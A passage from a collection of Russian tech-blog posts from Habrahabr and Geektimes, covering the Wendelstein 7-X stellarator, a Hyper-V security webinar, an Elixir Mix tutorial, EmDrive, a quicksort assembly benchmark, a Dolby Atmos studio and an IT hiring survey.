материалов: блоков углерода, усиленного углеволокном (углеграфитовый композит), и металла с водяным охлаждением. Всего для стелларатора потребовалось изготовить 890 элементов дивертора из 18 000 блоков. Новый материал уже запатентован изобретателями под названием EXTREMAT . Теплообменный дивертор Plansee поглощает 10 МВт на квадратный метр в непрерывном режиме Сверхпроводящие катушки из сплава ниобия и титана сложной формы для стелларатора изготовила фирма Babcock Noell (Германия). За десять лет строительства удалось решить все технические проблемы и ввести в строй мегаконструкцию стелларатора. Создание стелларатора в Институте Макса Планка по физике плазмы 10 декабря 2015 года состоялось историческое событие: в Институте Макса Планка по физике плазмы (IPP) в Грайсвальде впервые был запущен экспериментальный стелларатор Wendelstein 7-X . Wendelstein 7-X: первая плазма Операторы стелларатора подали команду на генерацию магнитного поля и запустили компьютерную систему управления экспериментом. Они подали около одного миллиграмма гелия в плазменный отсек, включили СВЧ-нагрев для короткого 1,3-мегаваттного импульса — и первую плазму зарегистрировали установленные камеры и измерительные приборы. Первая плазма сохраняла стабильное состояние 0,1 секунды и достигла температуры около миллиона градусов по Цельсию. Руководитель проекта профессор Томас Клингер (Thomas Klinger) сказал, что по плану было начать именно с гелия, поскольку у него легче получить состояние плазмы. В 2016 году начались эксперименты с водородной плазмой. Замер магнитного поля Разогрев плазмы до миллиона градусов и больше — это хорошо, но оставался открытым главный вопрос, действительно ли учёным удалось собрать стелларатор правильной формы, в соответствии с теоремой о причёсывании ежа. Соответствует ли результат математической модели? Это самый важный вопрос, ведь никто и никогда раньше не собирал термоядерный реактор такой формы. Действительно ли там будет происходить термоядерный синтез с заданными параметрами? 30 ноября 2016 года мы получили ответ на этот вопрос. В этот день в журнале Nature Communications опубликована научная статья "Confirmation of the topology of the Wendelstein 7-X magnetic field to better than 1:100,000" (в открытом доступе). В ней приводятся результаты измерений магнитного поля внутри тороидальной камеры, которые подтверждают фактическую работоспособность стелларатора Wendelstein 7-X в соответствии с расчётными параметрами. Измерения произведены до разогрева плазмы, но они показывают, что инженерам на стройке действительно удалось собрать мегаконструкцию, которая полностью соответствует расчётным параметрам. Магнитная топология машины выполнена немецкими инженерами с требуемой точностью. Визуализация магнитного поля в стеллараторе с помощью нейтрального газа (смесь водяного пара и азота). Три ярких пятна — калибраторы для камеры Сечение Пуанкаре замкнутого магнитного контура. Электронный пучок прошёл по нему более 40 раз, то есть более 1 км Незначительный сдвиг магнитного поля из-за деформации сверхпроводящих магнитов Итак, крупнейший в мире стелларатор действительно работает.
https://geektimes.ru/post/283600/
habrahabr
Новые подходы к обеспечению безопасности виртуальной инфраструктуры
['windows server 2016', 'hyper-v', 'безопасность']
Делимся полезным контентом по повышению безопасности Hyper-V 2016 и приглашаем вас на вебинар о подходах к обеспечению безопасности виртуальной инфраструктуры, который пройдет 13 декабря в 11.00...
Делимся полезным контентом по повышению безопасности Hyper-V 2016 и приглашаем вас на вебинар о подходах к обеспечению безопасности виртуальной инфраструктуры, который пройдет 13 декабря в 11.00 при поддержке партнера компании 5nine. Виртуализация давно стала традиционной частью инфраструктурных решений. Безусловно, возможности гипервизоров существенно расширились, трансформируясь в частные и гибридные облака, вследствие чего инфраструктура клиентов стала более гибкой и динамичной, что соответствует современным условиям ведения бизнеса — нужно быстро создавать и обслуживать новые сервисы и виртуальных машины в их составе, поддерживать несколько кластеров или ЦОДов с миграцией и балансировкой ВМ между ними. Но, тем не менее, клиенты часто используют в виртуальной среде устаревшие технологии end-point security с установкой агентов в ВМ и методы изоляции при помощи VLAN. Эти технологии добавляют уязвимости, связанные с возможностью блокирования или удаления агента в ВМ, потребляют дефицитные ресурсы оборудования, усложняют администрирование виртуализированных ЦОДов крупных компаний. Что же предлагают для решения этих проблем Microsoft и его технологические партнеры? Во-первых, для защиты от «эффекта Сноудена» в Windows Server 2016 появилась технология Shielded VM, которая позволяет шифровать диск ВМ из инфраструктуры гостевых операционных систем, защищая его от копирования и просмотра администратором хоста. Существенно увеличить безопасность инфраструктуры ЦОДа поможет использование Nano Server — новой версии ОС, в которой отсутствует графический интерфейс GUI и существенно снижена площадь атаки путем минимизации набора ролей. Как результат — в 3 раза меньше портов и в 10 раз меньше критических обновлений. Еще одно новшество — защита компонентов, отвечающих за целостность ядра ОС, паролей и других важных системных данных при помощи отдельного контейнера Hyper-V — Virtual Security Module (VSM). Все это существенно увеличивает защищенность новой ОС и инфраструктуры пользователя. Но вместе с этим у новой операционной системы отсутствуют некоторые важные функции безопасности и нет полного соответствия законодательства, так как эти требования не являются характерными для серверной ОС и должны быть реализованы сторонними решениями. Microsoft существенно облегчил реализацию этих функций, дав доступ нескольким технологическим партнерам к коммутатору Hyper-V. Расширяемый виртуальный коммутатор Hyper-V позволяет изолировать пользователей ВМ, управлять всем трафиком внутри виртуальной среды, защищать ВМ от вредоносных атак. Благодаря встроенной поддержке драйверов фильтров NDIS и драйверов внешнего вызова платформы фильтрации Windows, виртуальный коммутатор Hyper-V позволяет независимым разработчикам программных продуктов (ISV) создавать расширения виртуального коммутатора, которые увеличивают безопасность ВМ и сетей. Компания 5nine Software является одним из ключевых вендоров, с которым Microsoft сотрудничает по разработке средств защиты и управления Hyper-V c 2009 года. Последняя версия программы 5nine Cloud Security была представлена на ежегодной конференции Ignite, одновременно с Windows Server 2016. Презентацию решения вы можете посмотреть здесь . 13 декабря в 11.00 приглашаем вас на вебинар о новом подходе к обеспечению безопасности виртуальной инфраструктуры Windows Server 2016. Основные вопросы вебинара: Новые угрозы в виртуальной среде. Проблемы средств защиты информации предыдущего поколения. Современные безагентные СЗИ для облачной платформы. Как обеспечить управление и контроль информационной безопасности гибридного облака и сделать защиту отказоустойчивой. Интеграция СЗИ в клиентский портал и предоставление услуги SECaaS на базе Windows Server 2016. Соответствие СЗИ требованиям 152-ФЗ «О персональных данных» и различным стандартам (PCI DSS, ЦБ РФ и др.) Автор вебинара Караванов Александр – руководитель отдела технических решений компании 5nine Software с более чем десятилетним опытом в области информационной безопасности. Для участия в вебинаре необходимо зарегистрироваться .
https://habrahabr.ru/company/microsoft/blog/317438/
habrahabr
Создание Elixir-приложения на примере. От инициализации до публикации
['Elixir', 'Mix', 'Hex', 'Ruby']
Данная статья участвует в конкурсе от Wunsh.ru — русскоязычное сообщество Elixir. Практики и просто сочувствующие — присоединяйтесь! Пишу данную статью для того, чтобы закрепить знания...
Данная статья участвует в конкурсе от Wunsh.ru — русскоязычное сообщество Elixir. Практики и просто сочувствующие — присоединяйтесь ! Пишу данную статью для того, чтобы закрепить знания полученные в процессе изучения языка Elixir и его инфраструктуры. Надеюсь, что данная статья будет полезна программистам решившим писать Elixir-приложения. Вступление "Elixir — динамический, функциональный язык программирования, разработанный для создания масштабируемых и легко поддерживаемых систем." — elixir-lang.org Используя Elixir для создания ваших приложений вы обязательно столкнётесь с Mix. Он станет вам незаменимым помощником, так как через него вы сможете выполнять такие команды как создание, сборка, тестирование и публикация приложений, а также управление зависимостями и многое другое. Если вы знакомы с Ruby, то этот инструмент очень похож на Bundler, RubyGems и Rake, вместе взятые. В двух словах Mix — это удобный инструмент, который поставляется с Elixir и выполняет не меньше задач, чем швейцарский нож. Инициализация нового приложения Шаблон своего будущего mix-приложения проще всего создать с использованием команды 'mix new app_name'. $ mix new quadratic_equation Данная команда создаст своего рода скелет вашего приложение. А именно папку с названием quadratic_equation и следующей структурой файлов и папок: .gitignore # список файлов игнорируемых гитом README.md # описание приложения в markdown стиле config/ config.exs # конфигурации приложения и зависимостей lib/ quadratic_equation.ex # модуль верхнего уровня вашего приложения mix.exs # mix-файл c перечнем внешних зависимостей test/ quadratic_equation_test.exs # тесты на модуль верхнего уровня test_helper.exs # конфигурации и вспомогательные средства тестов Есть несколько соглашений об именах и содержании файлов, знание которых вам пригодятся: Используйте имя главного модуля приложения в именах подмодулей для уменьшения вероятности коллизии имен; Каждый модуль должен располагаться в отдельном файле, и обратное, каждый файл должен содержать один модуль; Имена файлов должны быть в snake_case стиле; Имена модулей должны быть в CamelCase стиле; Структура папок должна повторять именную структуру модулей. Соблюдайте принятую структуру в приложениях, и это позволит компилятору осуществлять загрузку кода без лишних ошибок. Тестирование приложения Для размещения тестов при генерации нового mix-приложения была создана папка test/ . Тестирование приложения является важной (но не неотъемлемой) частью написания работоспособного (но не обязательно качественного) кода. Запуск тестов производится командой mix test из корневой папки приложения, для более информативного вывода используется опция --trace . $ mix test --trace Также опцию --trace есть смысл использовать, когда ваши тесты блокируют друг друга. Опция также сделает запуск всех тестов синхронным (отменит действие async: true). Это команда также создаст папку _build и скомпилирует в неё ваше приложение в тестовой среде поместив всё .beam файлы. Сборка и запуск приложения в iex iex — это интерактивная консоль для работы с приложениями поставляемая вместе с Elixir. Относительно Ruby это аналог irb. Запустить mix-приложение можно с помощью команды iex -S mix . Данная команда предварительно скомпилирует ваш код, если это требуется, и запустит интерактивную консоль, подгрузив в неё ваше приложение. $ iex -S mix Erlang/OTP 19 [erts-8.1] [source-e7be63d] [64-bit] [async-threads:10] [hipe] [kernel-poll:false] Interactive Elixir (1.3.4) - press Ctrl+C to exit (type h() ENTER for help) iex(1)> Отдельно скомпилировать ваше приложение можно командой mix compile . Написание кода приложения В силу простоты приложения, весь код мы будем размещать в теле модуля верхнего уровня, а именно в QuadraticEquation. # lib/quadratic_equation.ex defmodule QuadraticEquation do @moduledoc """ The module with the logic of the solution of the quadratic equation """ end Для поставленной задачи, нам потребуется 1 публичная и несколько приватных функций. Публичная функция будет содержать логику решения уравнения, а приватные функции будут выводить на экран исходное квадратное уравнение и варианты полученных решений. Пожалуй начнём с написания тестов. Как раз определимся с вариантами ответов нашего публичного метода. Тесты мы будем размещать в специальном файле сгенерированным для модуля верхнего уровня. # test/quadratic_equation_test.exs defmodule QuadraticEquationTest do use ExUnit.Case doctest QuadraticEquation end Из курса школы мы помним, что квадратное уравнение имеет два, иногда одинаковых, корня, или не имеет решения вовсе. # test/quadratic_equation_test.exs defmodule QuadraticEquationTest do use ExUnit.Case doctest QuadraticEquation test "when discriminant less than zero" do assert QuadraticEquation.calculation(1, 2, 3) == {:fail, [error: "Discriminant less than zero!"]} end test "when discriminant equal zero" do assert QuadraticEquation.calculation(2, 4, 2) == {:success, [x1: -1.0, x2: -1.0, d: 0.0]} end test "when discriminant more than zero" do assert QuadraticEquation.calculation(2, 3, 1) == {:success, [x1: -0.5, x2: -1.0, d: 1.0]} end end Не будем запускать тесты прямо сейчас, для начала определим функцию calculation в QuadraticEquation. Данная функция будет принимать три числовых значения, а именно переменные a, b и с присущие квадратному уравнению в традиционной форме записи. # lib/quadratic_equation.ex ... @doc """ See the description of the module. """ def calculation(a, b, c) do end ... Теперь запустим тесты и удостоверимся, что они не прошли. Добавим решение квадратного уравнения в нашу функцию. А также укажем ожидаемые нашими тестами возвращаемые значения функции. # lib/quadratic_equation.ex ... def calculation(a, b, c) do # print_equation(a, b, c) d = :math.pow(b, 2) - 4 * a * c if d >= 0 do x1 = (-1 * b + :math.sqrt(d)) / (2 * a) x2 = (-1 * b - :math.sqrt(d)) / (2 * a) # print_success(x1, x2, d) {:success, [x1: x1, x2: x2, d: d]} else # print_fail(d) {:fail, [error: "Discriminant less than zero!"]} end end ... Приватные функции определяются с помощью следующей конструкции ... defp method_name do end Не буду приводить приватные методы в статье, они есть в исходном коде примера на GitHub.com . Примечание. Аннотации @moduledoc и @doc необходимы для развёрнутого описания сути модуля и для описания сути функции. Также exdoc умеет генерировать из них пролинкованную документацию, а hex.pm сгенерирует и выложит доки сам. Для того, чтобы скрыть модуль / публичную функцию в сгенерированной документации используется директива @moduledoc false и/или @doc false. Создание mix задачи Написание задачи для данного примера кода не является обязательной, но для статьи в общем данная часть будет полезна. В mix-приложениях все задачи принято располагать в отведённой для этого папке lib/mix/tasks. Так что первым делом добавьте эту папку себе в приложение. $ mkdir -p lib/mix/tasks Затем создайте в данной папке для задач файл с именем содержащим имя основного модуля приложения и название задачи. $ touch lib/mix/tasks/quadratic_equation.example.ex Задача будет не сложной, в её обязанности входит вызов функции calculation модуля QuadraticEquation. # lib/mix/tasks/quadratic_equation.example.ex defmodule Mix.Tasks.QuadraticEquation.Example do use Mix.Task @shortdoc "QuadraticEquation. Example of calculation." def run(_) do QuadraticEquation.calculation(2, 3, 1) end end Аннотация @shortdoc необходима как для краткого описания сути вашей задачи, так и для того, чтобы она начала отображаться в списке вывода команды mix help . $ mix help Публикация приложения в Hex Hex — библиотека Erlang и Elixir приложений. Перед тем как опубликовать своё mix-приложение в mix.exs файл необходимо добавить описание и метаданные проекта. Часть метаданных была сгенерирована автоматически командой mix new ... . # mix.exs @version "0.1.0" def project do [app: :quadratic_equation, version: @version, elixir: "~> 1.3", build_embedded: Mix.env == :prod, start_permanent: Mix.env == :prod, package: package, homepage_url: "https://hexdocs.pm/quadratic_equation", source_url: "https://github.com/folklore/quadratic_equation", description: "Example of creating a Mix-application - from initialization to publication.", deps: deps] end def package do [name: :quadratic_equation, files: ["lib", "mix.exs"], maintainers: ["Stanislav Gordanov"], licenses: ["MIT"], links: %{"Github" => "https://github.com/folklore/quadratic_equation"}] end Для публикации вам также потребуется профиль на hex.pm. Если у вас его ещё нет, то самый простой способ его создания, это воспользоваться командой ... $ mix hex.user register Вам потребуется указать username, email и пароль. А также подтвердить введённый вами email пройдя по ссылке из отправленного вам письма. Перед тем как мы к публикации приложения, нам нужно сгенерировать документацию. В случае, если вы не достаточно покрыли ваш код описанием, напоминаю, что модули документируются с помощью @moduledoc , а функции с помощью @doc . Вы также можете добавить в документацию README файл, для этого включите его в конфигурацию приложения. # mix.exs def project do [#... docs: [extras: ["README.md"]] ] end Для генерации документации используйте команду ... $ mix docs Когда все предварительные шаги сделаны, можно приступить к публикации приложения в пакетный менеджер. Сама публикация не замысловата, и производится следующей командой ... $ mix hex.publish Теперь ваше приложение доступно по адресу https://hex.pm/packages/quadratic_equation . Заключение Как вы можете видеть генерация скелета приложения с помощью Mix дело не хитрое, так же как и его публикация в менеджер пакетов. Писать свои приложения на Elixir не так уж и сложно. Изучайте язык, находите идеи и реализуйте их. Вперёд! Литература » Introduction to Mix » Organising your Elixir project with Mix » Create a Mix Task for an Elixir Project » Write and publish your first Elixir library » Writing and Publishing an Elixir Library » Creating Elixir libraries as OTP applications » Elixir With José Valim | Protal » Quadratic equation
https://habrahabr.ru/post/317444/
habrahabr
На Марс за 70 дней. Фантастика или реальность?
['emdrive', 'невозможный двигатель', 'невозможное возможно', 'марснаш', 'марс']
Спустя несколько месяцев слухов и пересудов, НАСА всё же выпустила результаты долгожданного исследования спорной двигательной установки EmDrive. Работа недавно была опубликована в журнале...
Спустя несколько месяцев слухов и пересудов, НАСА всё же выпустила результаты долгожданного исследования спорной двигательной установки EmDrive. Работа недавно была опубликована в журнале Journal of Propulsion and Power, где все работы проходят экспертную оценку, принадлежащем Американскому институту аэронавтики и астронавтики. Если электромагнитная технология окажется надёжной, она может радикально поменять способ перемещения людей в космосе, и открыть возможность долететь до Марса всего за 70 дней. Но у идеи хватает скептиков, уверенных, что двигатель – это не факт, а научная фантастика. Критики любят указывать на нарушение двигателем одного из фундаментальных законов физики: для каждого действия есть равное и противоположно направленное противодействие. Пока научный мир жужжит от возбуждения, журнал UConn Today набрал профессора технических наук Брайса Кассенти [ Brice Cassenti ], эксперта по сложным двигательным системам, чтобы тот помог нам разобраться в происходящем. В: Что собой представляет двигательная система EmDrive и что отличает её от остальных? О: EmDrive использует электромагнитные волны (используемые, к примеру, в радиолокационных установках), для создания тяги – что, в общем-то, является первым требованием к любому ракетному двигателю. Двигатель состоит из усечённой конической медной оболочки с пластмассовым (полиэтиленовым) диском, закрывающим узкий конец усечённого конуса. Внутри медной оболочки создаётся электромагнитная волна, тем же способом, которым создаются волны в микроволновой печке. Уникальна система тем, что устройство не использует традиционного реактивного топлива. Вместо этого, проще говоря, электромагнитные волны скачут внутри конуса таким образом, что, по заявлениям некоторых людей, приводят к появлению тяги. В тестах НАСА сообщалось о тяге в 1,2 мН на кВт, появлявшейся в вакууме, что представляет собой очень малое, но заметное, движение. Не зависящий от традиционного топлива EmDrive сделал бы космические корабли легче, и устранил бы необходимость в огромных количествах топлива, требуемого для запуска космического корабля к отдалённой цели. В: Чем подкрепляется весь этот скептицизм, и что вы думаете по этому поводу? О: Хотя EmDrive вроде бы и выдаёт тягу в этих тестах, в процессе испытаний не появляется никакой исходящей массы или частиц. Это нарушение третьего закона Ньютона, говорящего, что для каждого действия есть равное и противоположно направленное противодействие. Действие и противодействие – прямой результат сохранения импульса . Нарушение такого базового закона, как закон сохранения импульса, отвергнет большую часть основ всей известной физики. Поэтому многие учёные и инженеры считают, что измеренная тяга появилась из-за ошибки эксперимента. К этому добавляется и то, что у людей, верящих в правильность результата, нет никакого правдоподобного физического объяснения явления. К примеру, электрические токи разогревают компоненты двигателя, расширяющегося в экспериментах, и это движение можно принять за движущую силу. Очень сложно устранить подобные эффекты, хотя авторы статьи попытались устранить не только эти температурные эффекты, но и множество других возможных источников экспериментальных ошибок. Чрезвычайно сложно быть уверенным в том, что все возможные источники ошибок устранен. Единственный метод – создать гипотезу или теорию, которую можно было бы проверить независимо. В: То, что исследование НАСА прошло экспертную оценку, рекламируется, как важный шаг. Что на самом деле означает одобрение экспертов в исследовании, находящемся в процессе развития? О: Экспертная оценка важна, поскольку это означает, что работу проверили другие эксперты, и результаты оказались достаточно профессиональными и важными для того, чтобы поделиться ими с общественностью. Но это не означает, что эксперты сочли результаты верными. Эксперт, оценивавший эту работу, с которым я говорил ещё до публикации её в журнале, не считает, что она указывает на какую-то новую физику. Но он посчитал, что результаты вышли достаточно сбивающими с толку для её публикации. В: Если EmDrive работает, значит ли это, что Ньютон был неправ, и существуют загадочные аспекты физики, которые нам не ясны? О: Если результаты верны, они однозначно указывают на новую физику. Уже было показано, что законы Ньютона неприменимы к большим скоростям (где работает специальная теория относительности), в сильных гравитационных полях и с очень мелкими молекулами. Но Ньютон по большей части прав. Конечно же, многие аспекты физики нам непонятны. Некоторые из них настолько загадочны, что мы даже не знаем, с чего начать! В: Все испытывают радостное возбуждение по поводу тестирования EmDrive в космосе в качестве следующего шага. Какие преимущества есть у тестирования устройства в космосе, нежели на Земле? О: Если EmDrive проверят в космосе, то ускорение можно будет измерять напрямую, что устранит всю путаницу, связанную с измерением сил. В космосе будет идеальный вакуум, устройство не нужно будет размещать в вакуумной камере, там будет невесомость, что исключит необходимость в поддерживающем оборудовании (текущие тесты полагаются на балансир для измерения сил). Но космические миссии дорогие – запуск на орбиту одного килограмма веса стоит $10 000. Возможно, лучше было бы сначала попытаться экспериментально найти причину появления тяги, и только когда стоимость наземных экспериментов начнёт приближаться к стоимости орбитальной миссии, нужно будет проводить эксперимент в космосе. В: Хотите ли вы добавить что-либо ещё по поводу EmDrive для лучшего понимания? О: Нет, но за мою профессиональную карьеру я видел несколько таких удивительных экспериментов или теоретических результатов, появлявшихся в литературе, подверженной экспертным оценкам. И пока что реальностью оказалось лишь существование чёрных дыр. Так что, по моему опыту, возможность того, что эта тема выдержит последующий анализ и эксперименты, небольшая. Но не нулевая.
https://geektimes.ru/post/283602/
habrahabr
Обгоняем компилятор
['компиляция', 'компилятор', 'ассемблер']
На форумах и в других местах общения разработчиков сейчас часто повторяется, что приличный оптимизирующий компилятор всегда будет превосходить жалкие, почти человеческие потуги программы,...
На форумах и в других местах общения разработчиков сейчас часто повторяется, что приличный оптимизирующий компилятор всегда будет превосходить жалкие, почти человеческие потуги программы, написанной вручную на ассемблере. Есть редкие случаи, как, например, MPEG-декодеры, где хорошее использование инструкций SIMD может позволить ассемблированию полностью превзойти компилятор. Но обычно, и везде, мы слышим, что компилятор всегда работает лучше. Причиной обычно указывают то, что у современного центрального процессора имеется столько конвейеров и конфликтов по управлению, с которыми приходится иметь дело, что простая программа ассемблера не сделает работу хорошо, обращаясь с ними. Но так ли это? Давайте не будем просто воспринимать на веру слова некоторых парней в интернете, как библейское откровение, а проведём небольшой эксперимент и выясним. Мы просто возьмём несложный кусок кода и рассмотрим его. Я не собираюсь выбрать пример, который может выиграть, в большой степени, от экзотических встроенных функций. Вместо этого я возьму старый стандартный quicksort. Здесь показана простая быстрая сортировка в C++, которую мы протестируем: struct Item { int key; int value; }; extern "C" void sortRoutine(Item *items, int count) { if (count <= 1) return; // already sorted if only zero/one element // Pick the pivot. Item pivot = items[count-1]; int low = 0; for (int pos=0;pos<count-1;pos++) { if (items[pos].key <= pivot.key) { // swap elements Item tmp = items[pos]; items[pos] = items[low]; items[low] = tmp; low++; } } items[count-1] = items[low]; items[low] = pivot; sortRoutine(items, low); sortRoutine(items+low+1, count-1-low); } Ничего необычного. Это не самый лучший алгоритм сортировки в мире, а это — даже не самая лучшая реализация, но он простой и делает своё дело неплохо. Теперь попробуем прямо выполнить простую реализацию такого подхода в ассемблере: sortRoutine: ; rcx = items ; rdx = count sub rdx, 1 jbe done ; Pick the pivot. mov r8, [rcx+rdx*8] ; r8 = pivot data xor r9, r9 ; r9 = low xor r10, r10 ; r10 = pos partition: cmp [rcx+r10*8], r8d jg noswap ; swap elements mov rax, [rcx+r10*8] mov r11, [rcx+r9*8] mov [rcx+r9*8], rax mov [rcx+r10*8], r11 inc r9 noswap: inc r10 cmp r10, rdx jb partition ; move pivot into place mov rax, [rcx+r9*8] mov [rcx+rdx*8], rax mov [rcx+r9*8], r8 ; recurse sub rdx, r9 lea rax, [rcx+r9*8+8] push rax push rdx mov rdx, r9 call sortRoutine pop rdx pop rcx test rdx, rdx jnz sortRoutine done: ret Написать это оказалось довольно просто, в основном благодаря операторам гибкой адресации к памяти Intel. Что интересно — я не делал никакой реальной попытки обращать внимание на планирование, конвейеризацию и так далее. Я просто написал это как несложную программу на ассемблере. Теперь давайте оценим затраченное время. Я написал простую тестовую программу, сортирующую массив из 1 000 000 позиций. Тест был выполнен 100 раз и было взято наилучшее значение для всего набора. Версия С++ была скомпилирована с использованием gcc 4.8.1, clang 3.8.0 и MSVC 2013. Результаты sort_cpp_recurse_gcc.exe : 99 мс - наилучший результат для 100 прогонов sort_cpp_recurse_clang.exe : 99 мс - наилучший результат для 100 прогонов sort_cpp_recurse_ms.exe : 98 мс - наилучший результат для 100 прогонов sort_asm_recurse.exe : 92 мс - наилучший результат для 100 прогонов Ну, это интересно. Различные компиляторы дают, в основном, одинаковый результат с незначительным преимуществом у MSVC. Но версия ассемблера работает явно быстрее — почти на 7% в этом случае. Дело в том, в C++ не всегда имеется хорошее представление базовой машины. Это нормально, когда речь идёт о переменных, но его представление стека очень ограничено. C++ считает, что мы можем использовать стек только для вызовов, тогда как в действительности — одна из вещей, которые мы можем делать, это использовать его в качестве стека данных. Попробуем и посмотрим, что получится. Мы удалим рекурсивные обращения к sortRoutine и вместо этого будем извлекать наши диапазоны данных непосредственно из стека. Это позволяет нам работать в едином цикле без необходимости, фактически, обращаться к рекурсии. Часто такой подход может дать значительное преимущество, поскольку устраняет потери времени на каждом входе в функцию / выходе из неё. Соответствующая программа имеется в архивном файле ниже. sort_cpp_recurse_gcc.exe : 99 мс - наилучший результат для 100 прогонов sort_cpp_recurse_clang.exe : 99 мс - наилучший результат для 100 прогонов sort_cpp_recurse_ms.exe : 98 мс - наилучший результат для 100 прогонов sort_asm_recurse.exe : 92 мс - наилучший результат для 100 прогонов sort_cpp_iter_gcc.exe : 106 мс - наилучший результат для 100 прогонов sort_cpp_iter_clang.exe : 97 мс - наилучший результат для 100 прогонов sort_cpp_iter_ms.exe : 95 мс - наилучший результат для 100 прогонов sort_asm_iter.exe : 92 мс - наилучший результат для 100 прогонов Интересно. Версия ассемблера дала почти тот же результат. Я полагаю, это связано с тем, что, хотя итеративный подход устраняет потери на работу с функциями, но такие потери у нашей написанной вручную версии для x64 на самом деле невелики, поэтому выигрыша не наблюдается. Но для версий C++ иная ситуация. Большинство продемонстрировало незначительное увеличение скорости, но gcc явно медленнее! Насколько я могу видеть из дизассемблирования, управление построено так, как будто оно пытается запутать само себя. Увеличенные маршруты управления и связанные с этим навороты привели к усложнённому «жонглированию». Я скомпилировал эти тесты на x64, где соглашением по умолчанию о вызовах является fastcall. Полагаю, что если взамен скомпилировать решение для варианта на 32 бита, использующего соглашение на базе стека cdecl, то нерекурсивная версия дала бы сравнительно лучший результат. Я не пробовал — оставляю как упражнение для читателя. Заключение Создаётся впечатление, что старая присказка «современные компиляторы всегда быстрее, чем написанная вами на ассемблере программа» совсем не обязательно является правильной. Однако правильно то, что компилятор делает достаточно хорошо свою работу, а с кодом легче работать. Поэтому, хотя можно было бы выжать ещё немного скорости, но это вряд ли оправдано из-за появляющихся трудностей, связанных с техобслуживанием. Версия ассемблера была всё же быстрее. Полагаю, что если в этом посте вы нашли для себя что-то полезное — так это то, что народ в интернете иногда может говорить нечто, совсем не соответствующее действительности . Материалы sorttest.zip — Все коды, использованные в данной статье.
https://habrahabr.ru/post/317078/
habrahabr
«Новое в мире звука»: фонограммы в формате Dolby Atmos будут записывать на «Мосфильме»
['аудиомания', 'dolby atmos', 'Мосфильм', 'индустрия кино', 'домашние кинотеатры']
В пятницу 9 декабря 2016 года состоялось открытие студии перезаписи Dolby Atmos Premier. Проектирование и строительство велось в соответствии со всеми требованиями и стандартами компании Dolby для...
В пятницу 9 декабря 2016 года состоялось открытие студии перезаписи Dolby Atmos Premier. Проектирование и строительство велось в соответствии со всеми требованиями и стандартами компании Dolby для обеспечения максимально полной и точной записи фонограмм. / Фото: пресс-служба Dolby в России Для данной студии был выбран контроллер нового поколения миксеров Avid S6 Dual Operator, который позволяет управлять рабочими станциями, где и производится обработка звука. Такое решение дает определенный уровень гибкости, если говорить о временных затратах на конфигурацию всех входов и выходов. Теперь для начала работы достаточно лишь запустить проект в Pro Tools, и можно сразу приступать к работе со звуком. / Фото: пресс-служба Dolby в России Проект предусматривает возможность одновременной работы двух режиссеров за сдвоенной консолью управления. По такому принципу работают ведущие студии мира. «В 1987 году киноконцерн «Мосфильм» стал первым крупным партнером Dolby в России — тогда еще Советском Союзе. Наша совместная продуктивная деятельность продолжается до сих пор. За 29 лет нами было реализовано множество совместных проектов, и новая ультрасовременная студия перезаписи Dolby Atmos Premier — наглядное тому подтверждение», — отмечает Алексей Угринович, генеральный директор Dolby в России и СНГ. Что еще у нас есть почитать по теме: Dolby Atmos: Будущее кинотеатров «Смотрим дома»: Dolby Atmos и его друзья «Звукоцех»: Как создают звуковое оформление для кино Домашний кинотеатр: Альтернатива «большому киноэкрану» «Смотрим дома»: Обсуждаем технологии и форматы Вопросы и ответы: Первое знакомство с миром домашних кинотеатров Как построить домашний кинотеатр, и что можно узнать о производстве акустики
https://geektimes.ru/company/audiomania/blog/283606/
habrahabr
Могут ли ИТ-специалисты поменять работу без увеличения зарплаты: инфографика опроса от «Моего круга»
['мой круг', 'moikrug.ru', 'hr', 'hr-бренд', 'рекрутмент', 'найм персонала', 'индекс лояльности', 'nps']
На «Моем круге» мы постоянно наблюдаем за наймом ИТ-специалистов. Простой критерий, по которому мы судим о популярности вакансии — количество откликов, которые она получает в течение месяца. От...
На «Моем круге» мы постоянно наблюдаем за наймом ИТ-специалистов. Простой критерий, по которому мы судим о популярности вакансии — количество откликов, которые она получает в течение месяца. От чего зависит количество откликов? На что обращают внимание соискатели? Очевидный ответ — конечно, на зарплату! Да, зарплата действительно важна, мы сами часто говорим об этом . Но работа — это не только место заработка, но и место, где мы проводим существенную часть нашей жизни, с коллегами мы общаемся больше и чаще, чем с друзьями и даже с семьёй. Треть жизни, по самым скромным представлениям, проходит так или иначе «на работе». Подтверждают ли цифры, что соискателям, которые откликаются на вакансию, важна не только зарплата, указанная в ней? Да — мы регулярно видим, что количество откликов на одинаковые вакансии, с одинаковой зарплатой, расположенные в одном городе, но относящиеся к разным компаниям, может отличаться в разы. В сегодняшнем небольшом исследовании попробуем посмотреть поближе на те неденежные факторы, которые влияют на выбор работы. В первой части посмотрим, кто готов поменять свою текущую работу без изменения зарплаты и почему готов. Во второй — как часто новые сотрудники приходят по приглашению друзей и что на это влияет. Мы опросили более 1600 человек, пользователей «Моего круга» и «Хабрахабра». Получили привычный для нас срез, такой же, как и во всех других наших опросах. Большинство наших респондентов — это программисты: бэкенд и фронтенд разработчики, разработчики мобильных приложений и программного обеспечения. Часть 1. Какие незарплатные факторы влияют на выбор работы у ИТ-специалистов Так какие же факторы, помимо зарплаты, могут определять выбор работы для ИТ-специалиста? Чтобы узнать это, мы попросили всех ответить на следующий вопрос и получили соответствующее распределение ответов. Оказалось, что зарплата является единственным условием смены работы только для каждого четвёртого ИТ-специалиста (выделено жёлтым на диаграмме). Только 25% опрошенных не видят смысла менять работу, если им предложат те же обязанности с той же зарплатой! Для большинства же есть множество других, дополнительных, факторов, которые могут повлиять на принятие конечного решения о смене места работы. На первом месте — профессиональные факторы (выделено зелёным на диаграмме). Каждый второй может перейти в более интересный проект. Двоих из пяти могут увлечь более интересные технологии. Одного из трёх — более интересная сфера компании. На втором месте — факторы комфорта (выделено фиолетовым на диаграмме). Почти каждый третий может соблазниться хорошим офисом и лучшими условиями труда. Каждый четвёртый — более удобным графиком работы или близостью от дома. Каждый пятый — наличием социального пакета. Всё это материальные факторы, в некотором роде близкие зарплатным. Однако, это второе место оспаривается совершенно нематериальным фактором — ценностным (выделено оранжевым на диаграмме). Так, каждый четвёртый готов сменить работу только потому, что ценности компании совпадают с его личными. На третьем месте находятся коммуникативные факторы (выделено голубым на диаграмме). Каждый седьмой может перейти в другую компанию, если там будут его друзья или если его ждёт более интересная корпоративная жизнь. Наконец, на четвёртом месте находятся факторы престижа компании (выделено жёлтым на диаграмме). Каждый десятый может перейти без изменения зарплаты в более крупную или известную компанию. Как видим, большинство факторов, способствующих выбору работы, — нематериальны или, точнее, не всегда напрямую коррелируют с деньгами. Если компания хочет привлечь к себе специалистов, не увеличивая расходы 